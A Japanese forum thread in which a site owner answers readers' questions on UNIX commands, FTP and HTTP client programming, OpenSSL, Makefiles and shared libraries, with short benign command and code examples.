>>3214 68user お返事ありがとうございます。 やはり、ディスクアレイは故障の可能性が高いと…。 68userさんのおっしゃる通り、ディスクアレイ中のデータを読み出すことが目的だったんですが・・・、わかりました。 いろいろと御助言ありがとうございました。 |
memo http://www.coins.tsukuba.ac.jp/~yas/classes/dsys-2002/2003-03-04/index.html http://www-6.ibm.com/jp/developerworks/security/011005/j_s-stun.html |
「ソースを表示してみよう」の結果が 次のように表示されてしまいます。 1: : Content-type: text/html(LF) 2: : (LF) 3: : <html><body bgcolor=white>(LF) 4: : </body></html>(LF) |
>>3217 匿名 ご報告ありがとうございます。ウチに帰ったら対処します。 |
テープメディア(DLTtapeIV)についての質問です。 DLTtapeIVに退避させた、圧縮後のデータの容量を調べる方法がわからず大変困っています。 テープ内の圧縮後データ容量を確認するコマンド、方法があれば教えて下さい。 なにとぞ、なにとぞ宜しくお願い致します。 |
クライアントよりフォルダを指定して、その配下全てのファイルをサーバにアップロードすることはservletで可能でしょうか? また、そのフォルダに指定したアクセス権限を付与することは可能でしょうか? |
>>3219 DLT8000user あんまり詳しくないんですが、tar で保存していれば tar tvf …とかいう話でしょうか? cpio は知りません。 じゃなくて、圧縮率の話? >>3220 匿名 servlet でというか、HTML 的にはフォルダまるごとのアップロードは 無理だと思います。やるなら Java Applet とか DirectX とかいう 話になるかと。 アクセス権限については環境依存なので、java.lang.Runtime#exec() で設定でしょうか。 |
>>3218 68user > ウチに帰ったら対処します。 と言いつつ忘れていました。そしてここ数日、このサーバが 落ちていたので、まだ対処できていません。今週末にはなんとか…。 |
ネットワークプログラミングの基礎のところで、 select や fork を「マルチスレッド」と書かれているようですが、 少し違うのではないでしょうか? 新しいスレッドが生成されず、見ため同時に動いていることを マルチスレッドとは言わないと思います。 |
>>3024 テクノソルジャー いまさらですが http-proxy.pl のメモリリークを修正しました。 ご指摘ありがとうございました。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/http-proxy.pl >>3217 匿名 > 「ソースを表示してみよう」の結果が次のように表示されてしまいます。 修正しました。ご指摘ありがとうございました。 >>3223 int > 見ため同時に動いていることをマルチスレッドとは言わないと思います。 「見ため同時に動いていること」を「マルチスレッド」と表記している 本があったのでそれを真似しているんですが、やっぱり変でしょうか (と言ってもその本が見付けられないので、勘違いかも)。 とはいえ、pthread などの「スレッド」と混同しやすいのは確かです。 より適切なの用語は「多重化」でしょうが、個人的にはわかりにくい と感じます (だからあえて「スレッド」としてみた)。 何かよい用語はないでしょうか。 |
初めまして。 突然ですがおききしたいことがあります。 貴HP内にてsocketを使ったHTTPクライアントを作るプログラムを拝見させていただき、独立した環境で同じように組んで実行しましたがホストが存在しないとかえってきました。 これは至極当然なので、$iaddr(指定アドレス)に自分自身(127.0.0.1)を指定して実行しました。 ちなみにANHTTPDが動いています。 perl5でライブラリ上でもsocketは確認しています。 結果はエラーコード500を返すだけでなにも起こりませんでした。 アクセスログもやはりエラーコードは500でした。 自分自身へ試してみて異常がないことを確認できなければ外部に向かって使用するのにはかなり抵抗があったため試してみたことでした。 socketを使っての自分自身へのアクセスはできないのでしょうか? お暇なときでよろしいですのでお返事よろしくおねがいいたします。 |
>何かよい用語はないでしょうか。 プロセス制御,プロセスの多重化,プロセスの生成と複写, マルチプロセス,同時実行プロセス 等は如何でしょう. |
>>3225 ちゃお > 結果はエラーコード500を返すだけでなにも起こりませんでした。 > アクセスログもやはりエラーコードは500でした。 ということは TCP/IP 的には正常に通信できているが、HTTP リクエスト で送信している内容がよくない、という状況と考えます。 あとは - 実行したのが http-client.pl なのか、http-client-2.pl なのか。 - http-client-2.pl であれば、URL に何と入力したのか。 その URL をブラウザで見ると正しく表示されるのか。 - そもそも telnet で成功したのか。その場合は何とタイプしたのか。 と情報がないと何とも言えません。 >>3226 Netboy apache 起動の件、ありがとうございました。 > プロセス制御,プロセスの多重化,プロセスの生成と複写, > マルチプロセス,同時実行プロセス いえ、どういう手法で多重化しているか (プロセス/スレッド/select) は 別として、「見ため同時に動いていること」を何と表記すればよいかが よくわからないのです。 |
>>3227 68user お返事ありがとうございます。 そして言葉足らず失礼いたしました。 >実行したのが http-client.pl なのか、http-client-2.pl なのか 実行したプログラムはhttp-client.plのほうです。 >telnet で成功したのか telnetでは127.0.0.1にポート80で接続できました。 でもそのあとのheloコマンドでは501を返してきました。 またメインマシンがwinMEなので最初の接続(open)はDOSプロンプトからできません。 >URL をブラウザで見ると正しく表示されるのか ブラウザではエラー500を返してきます。 またURLには127.0.0.1/root/http_client.cgiとしています。 拡張子はcgiにしています。 よろしくおねがいします。 |
連続ですいません。 さっきかきこんだあとおもうところがあって拡張子plで試してみました。 plは設定(http.conf)に登録していないのでいつも使っていませんでした。 もちろん今回も実行したあとはブラウザには表示されませんでした。 しかし、アクセスログには200が残っていました。 これって成功したということでいいのでしょうか? |
>>3228 ちゃお > でもそのあとのheloコマンドでは501を返してきました。 わたしの知る限り HELO と言えば SMTP です。そして ポート 80 の先にいるのは HTTP サーバです。HTTP サーバは SMTP を解さないので、エラーになるでしょう。 http-client.pl というのは、要はブラウザの代わりをする プログラムなのですが、その辺は理解されていますか? > またURLには127.0.0.1/root/http_client.cgiとしています。 あなたがブラウザで普通に見られるような URL を試しましょう。 http://127.0.0.1/ で何かコンテンツが表示されるなら、まずそれで試すべきです。 とりあえず http://x68000.startshop.co.jp/~68user/net/http-1.html を読んで、実際に試してみてください。 |
c言語でFTPクライアントのプログラムを組んでいます。 プロトコルやソースは大変参考にさせていただいています。 環境は、TurboLinux 8 serverです。 FTPクライアントのプログラムなのですが、ファイルの転送などは問題なく動作しているのですが、ディレクトリ単位の転送の記述部分がわかりません。何度かコマンドのデバッグモードで試して、RFCなどの記述も呼んでいるのですが。参考になるページがあるのでしたら、教えてください。 また、ファイルかディレクトリかを区別する方法もあればと思い、ご教授よろしくお願いいたします。 |
>>3231 じゅじゅ > ディレクトリ単位の転送 おそらく、ディレクトリを LIST or NLST して、一つ一つ RETR する しかないです。 > ファイルかディレクトリかを区別する方法 ブラウザで anonymous ftp サイトに接続した場合などは、LIST の結果が drwxr-xr-x ならディレクトリ、とするのが一般的だと思います。もっと きっちりやるなら、CWD で移動できたらディレクトリとみなす、とか。 基本的に、ftp は UNIX に依存したくなかったため、この辺はあえて 決めてないのではないかと思っています。 もしディレクトリを判別できるようにするなら、名前付きパイプは? ソケットは? デバイスファイルは? door は? ということになり、 結局 ls の結果をそのまま送る方がよい、と判断されたのではない でしょうか (そしてわたしは、この判断は誤りであると思っています)。 |
簡単なことかもしれませんが、LISTやNLSTをし、続けてファイルの総数やディレクトリの中にあるファイル名を取得することはできるのでしょうか?それらのデータを取得する記述と、また、 >drwxr-xr-x ならディレクトリを取得する 記述が分かりません。 ご教授よろしくお願いいたします。 |
>>3233 じゅじゅ LIST すれば drwxr-xr-x 9 user group 512 Apr 28 2001 dir1 drwxr-xr-x 10 user group 512 Jul 30 2000 dir2 -rw-r--r-- 1 user group 122 Mar 29 2000 file などという結果が返ってくるので、行頭が d である dir1 と dir2 がディレクトリであることがわかります。 さらに LIST dir1 とすれば dir1 の下のファイル・ ディレクトリ一覧が返ってきます。 |
>>3230 68user 前回はちんぷんかんぷんな質問失礼いたしました。 現状ちゃおのマシンにはapacheがインストールされています。 そしてrootにはhtdocsが指定されています。 さらにhtdocsの中にindex.htmlがあります。 まずはtelnetからやりなおしてみました。 コマンドプロンプトから以下のように入力しました。 telnet 127.0.0.1 80 接続成功 GET /index.html HTTP/1.1 HOST:127.0.0.1 Content-type:text/html ソース取得成功してます。 次にコマンドプロンプトからperlを実行します。 (もちろんperlのあるディレクトリには移動済みで、他のHTMLソースを吐き出させることにも成功しています) c:\>perl http_client.pl このときはなにも表示されません。 しかしコードは200を返します。 このときの結果は同じものではないのですか? >http-client.pl というのは、要はブラウザの代わりをする プログラムなのですが、その辺は理解されていますか? つまり$iaddrで指定したアドレスにあるソースを受け取って表示する、 dos上で実行したらbody部分がそのままdosプロンプトに表示されるということでいいんですよね??? それともこのプログラムにさらに引数を与えなければいけないのでしょうか? 長文になってしまい失礼いたしました。 またお時間のあるときにお返事いただければ幸いです。 |
Makefileでのライブラリの定義について はじめまして。solaris初心者のかんすけです。 環境はsparc-solaris8です。 Makefileを作成してみたのですが、自分で作成したライブラリファイルをCCのところでうまく定義できません。実行すると「ファイルが見つかりません」とエラーが表示されます。 この場合、まず何を疑えば良いのでしょうか? 正しいMakefileでのライブラリの定義の仕方を教えてください。 また良いサンプルファイルのURL等ありましたら、紹介してください。 よろしくお願いします。 |
今までの数々の質問大変失礼いたしました。 色々いじっているうちに何故か成功いたしました。 今までありがとうございました。 これからもがんばってください。 |
>>3236 かんすけ デフォルトルールや特殊変数などを全く活用してませんが、 main: main.o hoge.a $(CC) -o $@ $> hoge.a: hoge.a(a.o) hoge.a(b.o) $(AR) ru $@ $> とりあえずこんな感じで実現することは可能です。 |
OpenSSL による https クライアントをちょっとだけ バージョンアップしました (解説は更新なし)。 http://x68000.startshop.co.jp/~68user/net/ssl.html 変更点はこちら。 http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/https-client.c しかし SSL は未だによくわからん…。 |
苦節 3日。やっと rootCA を組み込む方法がわかった。 忘れないうちにメモメモ。 ctx = SSL_CTX_new(ssl_method()); SSL_CTX_load_verify_locations(ctx, "mod_ssl-2.8.9-1.3.26/pkg.sslcfg/ca-bundle.crt", NULL); |
皆様こんにちは。 僕はサーバースペースを借りてHPを作ってます。 いきなりの質問で失礼と存じますが… asciiart.cgiの設置方法を教えていただけないでしょうか? 一応、↑検索をかけてみたのですが見当たりませんでした。 パーミッション asciiart.cgi 755 environment.pl 644(試しに755) …だけではダメなのでしょうか? ヨロシクお願いします。 |
>>3241 ひろ > asciiart.cgiの設置方法を教えていただけないでしょうか? http://x68000.startshop.co.jp/~68user/unix/pickup?netpbm に含まれている giftopnm、ppmtopgm などのコマンド群と、 HTTP クライアントである httptalker.pl が必要です。 netpbm はフリーで配布されています。httptalker.pl はわたしが 作ったものですが、wget や fetch などのフリーなダウンローダで 代用可能です。 申し訳ありませんが、解説しはじめると長くなるので、これ以上の 詳細な解説はご勘弁ください。 関係ないですけど、テーブルアートというのがあります。こっちの方が 表現力が高いので、おもしろいかも。 http://hi.sakura.ne.jp/~okada/table/ |
返答ありがとうございました。 難しいので諦めます。。 asciiart.cgiを設置されてるサイトって有るんですかね?(謎) 因みにasciiart.cgi検索かけても見つかりませんでした。(笑) |
>>3243 ひろ > asciiart.cgiを設置されてるサイトって有るんですかね?(謎) ないと思います。うちの CGI プログラム群は、配付しているのではなく ただ単にソースを公開しているだけなので、わたし以外の人にとっては 設置しづらいでしょう。 |
「ls」を入力すると、カレントディレクトリのファイルやディレクトリが表示されますが、ファイルは表示させずにディレクトリだけを表示させることは出来ますか? ls -d でやってみてもダメでした。 |
>>3245 bebe -d は引数にディレクトリを指定した場合、そのディレクトリの 下でなく、ディレクトリそのものの情報を表示するオプションです。 というわけで、 % ls | grep ^d % find . -type d -maxdepth 1 % find . -type d -maxdepth 1 -ls などなど。 |
>>3246 68user > ls | grep ^d ls -l | grep ^d の間違いでした。 |
ネットワークプログラミングの基礎知識 http://x68000.startshop.co.jp/~68user/net/ に、 暗号化のお話 (1) - 共通鍵暗号方式 http://x68000.startshop.co.jp/~68user/net/crypt-1.html SSL/TLS でアクセスしてみよう (1) (2) http://x68000.startshop.co.jp/~68user/net/ssl-1.html http://x68000.startshop.co.jp/~68user/net/ssl-2.html を追加しました。説明が中途半端ですが、ご容赦を。 cvsweb はこちら http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/?sortby=date |
はじめまして。 ここのページでかなり勉強させてもらっています。 いつの間にかDSNクライアント作成講座もできてるみたい なので、時間があったら読ませてもらいます。 ところで、DNSを使ってみよう でsend関数がでてきましたが、 あれはTCPでは使えないのでしょうか? UDPはコネクションレス型で、TCPはコネクション型なのは解ってますが・・・。 もし使える方法があれば教えてください。 |
はじめまして、terapadと申します。 いくつかのプログラムからarコマンドを用いて、ライブラリを作成するのですが、 スタティックリンク版とダイナミックリンク版を作成したいのです。 ar -r test.a aaa.o bbb.o ccc.o 現在、上記のようなコマンドを用いているのですが、 これはスタティックリンクになるのでしょうか? ダイナミックリンク版を作成するためには、 arコマンドに何かオプションが必要なのでしょうか? 何も分からず恐縮ですが、ご教授お願いします。 |
>>3249 のぐけん。 > ところで、DNSを使ってみよう でsend関数がでてきましたが、 > あれはTCPでは使えないのでしょうか? send(SOCKET, $data, 0); で使えます。 >>3250 terapad > これはスタティックリンクになるのでしょうか? そうです。 > ダイナミックリンク版を作成するためには、 こちらをどうぞ。 http://www.jp.FreeBSD.org/QandA/HTML/401.html |
すいません。 send(SOCKET, $data, 0); の形は、すでにSOCKETがつながっている時ですよね? send(SOCK, MSG, 0, TO); の形では無理でしょうか? |
お返事ありがとうございます。 早速、サンプルプログラムを用意してやってみたところ cc -fpic -o libshared.SO -c shared.c は正常に終了しlibshared.SOが作成されました。 次の cc -shared -Wl, -soname, libshared.so.1 -o libshared.so.1 libshared.SO のところでは下記のようなエラーが出ます。 cc: 1501-218 file libshared.so.1 contains an incorrect file suffix cc: 1501-228 input file libshared.so.1 not found cc: 1501-218 file libshared.SO contains an incorrect file suffix どのように回避したら良いでしょうか? |
すみません。もう一度コマンドコピーして実行してみたところ、 cc -shared -Wl,-soname,libshared.so.1 -o libshared.so.1 libshared.so ld: 0706-012 -h フラグが認識できません。 ld: 0706-012 -a フラグが認識できません。 ld: 0706-005 ファイルが見つからないか、オープンできません: libshared.so.1 ld:open(): このパス名にはファイルまたはディレクトリが存在しません。 このようなメッセージに変わりました。 でも、わかりませんが・・・。 |
>>3252 のぐけん。 > send(SOCK, MSG, 0, TO); > の形では無理でしょうか? は TCP では無理だと思います。connect しないと 3way handshake してくれないです。 ちなみに、ご存知かもしれませんが、UDP では - socket && connect && send(SOCKET, $data, 0); - socket && send(SOCKET, $data, TO); のいずれも可能です。 >>3254 terapad http://www.jp.FreeBSD.org/QandA/HTML/401.html は gcc を使っている場合のやり方です。gcc を使わない のであれば、お使いの cc のマニュアルを読みましょう。 |
UNIX の部屋 http://x68000.startshop.co.jp/~68user/unix/ を更新しました。 |
とってもいまさらですが、 IPアドレスとホスト名 http://x68000.startshop.co.jp/~68user/net/net-1.html に http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?log=2098 で指摘をいただいた旨追記しました。 |
第2回 UNIX の部屋の検索で一件もヒットしなかった キーワード調査。対象は 2003年1月〜現時点の半年分。 # 第1回: http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?log=2093-2099 % grep pickup */access.log | grep Nomatch | awk '{print $3}' | sort | uniq -c | sort -nr 1165 useradd 670 sar 526 ls 466 expr 435 ssh 426 scp 320 ftp 311 cp 289 Emacs+Lisp+プログラミング入門 287 Perl/Tk+デスクトップリファレンス 284 snoop 257 ln 256 ユーザー 232 cpio 223 ufsdump 223 rename 206 rsync 192 groupadd 190 iostat 187 logger 186 arp 181 mailx 179 ipcs 177 iconv 168 usradd 167 rm 165 usermod 164 ファイル検索 147 pkginfo 142 df 142 ndd 141 ps 138 fdisk 132 ipconfig 132 chkconfig 127 tree 126 remsh 125 substr 125 nawk 114 jar 113 dbx 112 ulimit 103 userdel 100 htpasswd 94 mv 92 tr 85 バックアップ 85 showrev 85 ioscan 85 chroot 84 pkgrm 84 pdf 82 mpstat 79 patchadd 79 mknod 75 mkfs 74 リダイレクション 73 ufsrestore 70 lpq 69 sdiff 69 prstat 68 wc 67 mtime 66 nmap 64 スペック 63 addgroup 61 pkill 60 unmount 59 配列 59 パーティション 59 sh 59 rcp 58 演算 58 vim 58 lpstat 56 ファイル名変更 56 ファイル 作成 56 cc 56 prtconf 56 gip 56 addusr 55 戻り値 55 ファイル 検索 55 sjtoeuc 55 sftp 55 access 53 strcpy 53 restore 52 空き容量 52 typeset 52 swlist 52 mkfile 52 backup 51 snmp 51 samba 50 sqlplus 49 ファイル名 変更 49 zgip 49 ntpq 49 euctosj 49 bashrc 結論。調査してもそれを反映しないと意味がない。 というわけで、全角英数字でも検索できるようにしました。 |
UNIXの部屋拝見させてもらいました。 すごい詳しくて良かったです。ありがとうございました。 これからも使わせて頂きます。 |
はじめまして。私、MADAGASCARという国の地方都市にすんでおります。私の住んでる町に数年前にISPができました。サーバーの管理は直接しておりませんがLAN内でプログラムを作る事を考えています。サーバー以外は、基本的にWINDOWS系です。ヒントいただければ幸いです。 1つのプログラムは、LAN内でサイバーカフェを運営しておりますが、クライアント端末である特定のプログラムを起動させたときにカウントをしようというものですがこれは何とかなりそうです。 こちらが私にとっては難しいのですが2つ目は、サーバーにダイアルアップでログインしてくるユーザー情報を集計しそのデーターを別のところに送信させたいと思います。 サーバー:MANDRAKE 8.1(WWW、MAIL、DNS稼動) ルーター:CISCO ??? 横山 |
>>3259 -9 ありがとうございます。間違いやわかりにくい点を見付けたら ぜひご指摘ください。 >>3260 bubu > サーバーにダイアルアップでログインしてくるユーザー情報を > 集計しそのデーターを別のところに送信させたいと思います。 ここらへんほとんど知らないんですが一応回答してみます。 ダイアルアップを受けるサーバ (RAS サーバって言うんでしょうか?) は Mandarake ですか? それとも CISCO の機器ですか? 前者であれば mgetty や pppd (ppxp?) あたりが /var/log あたりに ログを残しているかもしれません。また、通常のログインと同じく utmp や wtmp あたりに記録されるはずなので、who などで集計する ことができるはずだと思います。 後者であれば、わかりません。マニュアルを読んでください。 もし RAS サーバを管理する立場にないのであれば、集計する のは無理でしょう。 |
回答ありがとうござました。 ダイアルアップを受けるサーバはMandarakeです。RADIUSというソフト(サーバー?)が起動していて/var/log にlogが記録されます。 情報を探してみましたが、SQLなどを介し、上記のlogファイルを利用してデータベースを作成できる事は分かりましたが、Client MachineからサーバーMachineへアクセスし、データを取ってくるその手法がいまだによく分かりません。お手数とは思いますがご教授していただければ幸いです。 サーバーの第一管理者はリモートで管理をしており、私は第2管理者に非常に近いところにおります。 |
>>3262 bubu > Client MachineからサーバーMachineへアクセスし、データを取って > くるその手法がいまだによく分かりません。 あとは定期的にファイル転送ができればよいのですか? もし そうなら、ftp で転送するのが一番簡単だと思います。 Windows 付属の ftp.exe やフリーの ftp クライアントを使用 してみてはどうでしょうか。 |
ここで相談すべきことじゃないのかもしれませんが、困っています。 PDFを見るためのソフトについて、UNIXにはxpdfなどの軽いツールがあるのに、 WindowsにはAcrobatReaderしかないようなのですが、Windowsにも 他にPDFを見るためのツールはあるのでしょうか? よろしくおねがいいたします。。 |
>>3264 あやの xpdf の Windows 版はありますが、GUI を持たない変換ツール類しか 提供されていないようですね。 http://www.foolabs.com/xpdf/download.html http://www.namazu.org/ml/namazu-win32-users-ja/msg01025.html を読むと、昔は cygwin 版も上記ページに置かれていたように見えますが、 今は置いてありません。自分でコンパイルして、果して動くのかどうか…。 |
AIXのdateコマンドでは「'1 days ago'」のような機能がありません。 どのように1日前の日付を出力すれば良いんでしょうか? date -v-1dってできるんですかね? |
>>3266 UNIX > date -v-1dってできるんですかね? 試してみればいいんじゃないでしょうか。 他には TZ を使うやり方を http://x68000.startshop.co.jp/~68user/unix/pickup?date に書きましたが、AIX の date(1) が期待通り動いてくれるかどうかはわかりません。 |
C言語でsocketを用いたftpクライアント(Asciiモード)を作成し、solaris上で実行したところ、ftpからのリターンメッセージ、およびgetしたファイルの改行コードに『CR』が付加されてしまい、とても困っております。 これは、どのような要因が考えられますでしょうか? よろしくお願いします。 |
>>3268 ma-chan ASCII モードは LF を CRLF に置換するわけで、「CR が付加される」 というのは納得できる結果だと思います。というわけで、何に困って おられるのかよくわかりません。 |
説明が足りなくて申し訳ありません。 改めまして詳細を説明させて頂きます。 テスト環境は、Solarisサーバー2台で、 片方のサーバー上に作成したPGMを置いて、テキストファイルの 送受信を行っています。 扱うテキストファイルは、Solaris上で作成したファイルで、 改行コードは、『LF』のみです。 で、PGM内からASCIIモードでファイルをPUTする分には、 問題ないのですが、 ファイルをGETすると、改行コードに『CR』が付いてしまうという 現象が発生しております。 (ちなみに、コマンドレベルでftpをASCIIモードで実行した場合は、 『CR』は付きませんでした。) 私の認識では、UNIXサーバー側でファイルをGETする場合は、 改行コードに『CR』は付かないと思うのですが... (Windows環境でプログラムを動かしてファイルを受信した場合は、 『CR』が付くと思っています。) この認識自体が間違っていますか? よろしくお願いします。 |
>>3270 ma-chan 理解しました。 ASCII モードというものをより正確に書くと、 あなたがデータを送信するときは、事前に NVT-ASCII に変換 しておいてね とクライアントとサーバが約束すること、です。そして NVT-ASCII に おける改行は CRLF です。 なので、TYPE A で CRLF が送られてくるのは正しいわけで、CRLF を LF に変換するのはクライアント側の仕事なのです。 NVT-ASCII については (読んでませんが) 多分 RFC 854 に書いて あるんじゃないかと思います。 |
はじめまして。いつも参考にさせて頂いてます。 <環境> マシン:UNIX B2000(OKITAK9000) OS:HPーUX Ver.11.0 端末:dtterm 言語:C 上記の環境で、wgetch関数(nodelayモード)を使って、キー入力を受け取る プログラムを作成しているのですが、2つほど質問させてください。 1.キーボードからの入力をロックする方法。 キーを入力してもwgetchがコードを返却しないようにしたい。 2.ある特定のキーについて,wgetchが返却するコードを変更する方法。 たとえば,Insキーが押下されたら0x12を返却するようにしたい。 既出でしたら、申し訳ありません。 よろしくお願い致します。 |
場違いかも知れませんが藁をも掴むつもりで投稿しました。 FreeBSD4.7にてSSHでPg.pmをインストールしようとしています。 SHELLはtcshなのですが、以下の方法でインストールは可能でしょうか? cd src tar zxvf pgsql_perl5-1.9.0.tar.gz cd pgsql_perl5-1.9.0 setenv POSTGRES_INCLUDE "/usr/local/pgsql/include" setenv POSTGRES_LIB "/usr/local/pgsql/lib" perl Makefile.PL make make test root # make install 何かヒントでもいいのでよろしくお願いいたします。 |
>>3272 keijirou curces に詳しくないので回答しなかったのですが、誰か知ってる人 いませんかねぇ。 >>3273 Been > 以下の方法でインストールは可能でしょうか? よさそうに見えますが、とりあえず make test、make -n install まで 試してみればいいんじゃないでしょうか。 てゆーか、一般的には DBI と DBD::Pg モジュールを使うことが 多いと思いますが、あえて Pg なのですか? 2000年で更新止まってるし、RDBS 取り換えたら書き直しだし、あまり いいことはないと思います。 |
はじめまして。kotaroと申します。 さっそくですが、質問をさせていただいてよろしいでしょうか。 C言語において、IPアドレスのみで通信を行うプログラムの作成は可能でしょうか。 socket関数を用いた場合は、 TCPやUDPのトランスポート層の通信になると思いますが、 トランスポート層のプロトコルを解釈せずにIPヘッダーのみで通信を行う、 ルーティングのような機能を実現したいと思っています。 (ネットワークカードは2枚使用し、IPパケットを通過させる仕組み) 突然の質問で申し訳ありませんがよろしくお願いします。 |
>>3275 kotaro > IPアドレスのみで通信を行う IP (インターネットプロトコル) のみで通信を行う、という ことでしょうか。 UNIX なら可能です。Windows なら XP からですね。「raw socket」 などで検索してみてください。 |